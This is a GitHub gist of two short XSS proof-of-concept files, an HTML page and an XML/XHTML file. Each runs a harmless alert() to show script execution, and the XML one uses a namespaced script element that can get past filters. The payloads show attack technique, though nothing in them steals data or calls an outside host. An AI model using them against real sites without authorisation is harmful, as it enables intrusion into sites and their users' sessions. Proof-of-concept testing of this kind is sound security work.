Created
April 20, 2023 05:21
-
-
Save wuuconix/cda14f831391a3fbbf58786f7a573cf8 to your computer and use it in GitHub Desktop.
xss四件套
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<title>XSS Prove Using HTML</title> | |
</head> | |
<body> | |
<div class="flex"> | |
<img src="https://gzw.sinaimg.cn/large/007YVyKcly1h2kl9rs23cj30ma0mlk48.jpg"> | |
</div> | |
</body> | |
</html> | |
<style> | |
.flex { | |
display: flex; | |
justify-content: center; | |
align-items: center; | |
} | |
img { | |
width: 200px; | |
} | |
</style> | |
<script> | |
alert("xss proved using html. 2023/4/19") | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert("xss proved using xml —— 2023/4/19")</something:script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment